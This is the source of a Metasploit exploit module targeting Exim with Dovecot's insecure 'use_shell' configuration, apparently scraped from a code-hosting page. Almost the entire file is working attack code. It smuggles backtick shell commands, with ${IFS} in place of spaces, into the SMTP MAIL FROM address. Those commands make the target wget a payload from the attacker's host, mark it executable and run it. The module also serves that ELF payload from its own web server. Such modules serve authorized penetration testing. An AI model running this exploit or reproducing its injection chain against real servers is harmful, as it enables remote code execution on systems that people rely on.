Path: blob/master/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Smtp9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Exim and Dovecot Insecure Configuration Command Injection',18'Description' => %q{19This module exploits a command injection vulnerability against Dovecot with20Exim using the "use_shell" option. It uses the sender's address to inject arbitrary21commands, since this is one of the user-controlled variables. It has been22successfully tested on Debian Squeeze using the default Exim4 with the dovecot-common23packages.24},25'Author' => [26'Unknown', # From redteam-pentesting # Vulnerability Discovery and PoC27'eKKiM', # PoC28'juan vazquez' # Metasploit module29],30'License' => MSF_LICENSE,31'References' => [32[ 'OSVDB', '93004' ],33[ 'EDB', '25297' ],34[ 'URL', 'https://www.redteam-pentesting.de/advisories/rt-sa-2013-001' ]35],36'Privileged' => false,37'Arch' => ARCH_X86,38'Platform' => 'linux',39'Payload' => {40'DisableNops' => true41},42'Targets' => [43[ 'Linux x86', {}],44],45'DisclosureDate' => '2013-05-03',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57OptString.new('EHLO', [ true, 'TO address of the e-mail', 'debian.localdomain']),58OptString.new('MAILTO', [ true, 'TO address of the e-mail', '[email protected]']),59OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),60OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),61OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]),62OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])63]64)6566register_advanced_options(67[68OptBool.new("SkipVersionCheck", [false, "Specify this to skip the version check", false])69]70)7172deregister_options('MAILFROM')73end7475# wait for the data to be sent76def wait_linux_payload77print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")7879waited = 080while (not @elf_sent)81select(nil, nil, nil, 1)82waited += 183if (waited > datastore['HTTP_DELAY'])84fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")85end86end87end8889# Handle incoming requests from the server90def on_request_uri(cli, request)91if (not @pl)92print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")93return94end95print_status("#{rhost}:#{rport} - Sending the payload to the server...")96@elf_sent = true97send_response(cli, @pl)98end99100def exploit101@pl = generate_payload_exe102@elf_sent = false103104#105# start our web server to deploy the final payload106#107downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))108resource_uri = '/' + downfile109110if (datastore['DOWNHOST'])111service_url_payload = datastore['DOWNHOST'] + resource_uri112else113114# Needs to be on the port 80115if datastore['SRVPORT'].to_i != 80116fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')117end118119# we use SRVHOST as download IP for the coming wget command.120# SRVHOST needs a real IP address of our download host121if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")122srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)123else124srv_host = datastore['SRVHOST']125end126127service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri128service_url_payload = srv_host + resource_uri129print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")130start_service({131'Uri' => {132'Proc' => Proc.new { |cli, req|133on_request_uri(cli, req)134},135'Path' => resource_uri136},137'ssl' => false # do not use SSL138})139140end141142connect143144print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")145if not datastore['SkipVersionCheck'] and self.banner.to_s !~ /Exim /146disconnect147fail_with(Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")148end149150ehlo = datastore['EHLO']151ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")152ehlo_resp.each_line do |line|153print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")154end155156#157# Initiate the message158#159filename = rand_text_alpha_lower(8)160from = rand_text_alpha(3)161from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`"162from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`"163from << "`/tmp/#{filename}`"164from << "@#{ehlo}"165to = datastore['MAILTO']166167resp = raw_send_recv("MAIL FROM: #{from}\r\n")168resp ||= 'no response'169msg = "MAIL: #{resp.strip}"170if not resp or resp[0, 3] != '250'171fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")172else173print_status("#{rhost}:#{rport} - #{msg}")174end175176resp = raw_send_recv("RCPT TO: #{to}\r\n")177resp ||= 'no response'178msg = "RCPT: #{resp.strip}"179if not resp or resp[0, 3] != '250'180fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")181else182print_status("#{rhost}:#{rport} - #{msg}")183end184185resp = raw_send_recv("DATA\r\n")186resp ||= 'no response'187msg = "DATA: #{resp.strip}"188if not resp or resp[0, 3] != '354'189fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")190else191print_status("#{rhost}:#{rport} - #{msg}")192end193194message = "Subject: test\r\n"195message << "\r\n"196message << ".\r\n"197198resp = raw_send_recv(message)199msg = "DELIVER: #{resp.strip}"200if not resp or resp[0, 3] != '250'201fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")202else203print_status("#{rhost}:#{rport} - #{msg}")204end205disconnect206207# wait for payload download208if (datastore['DOWNHOST'])209print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the target to download the payload")210select(nil, nil, nil, datastore['HTTP_DELAY'])211else212wait_linux_payload213end214register_file_for_cleanup("/tmp/#{filename}")215end216end217218219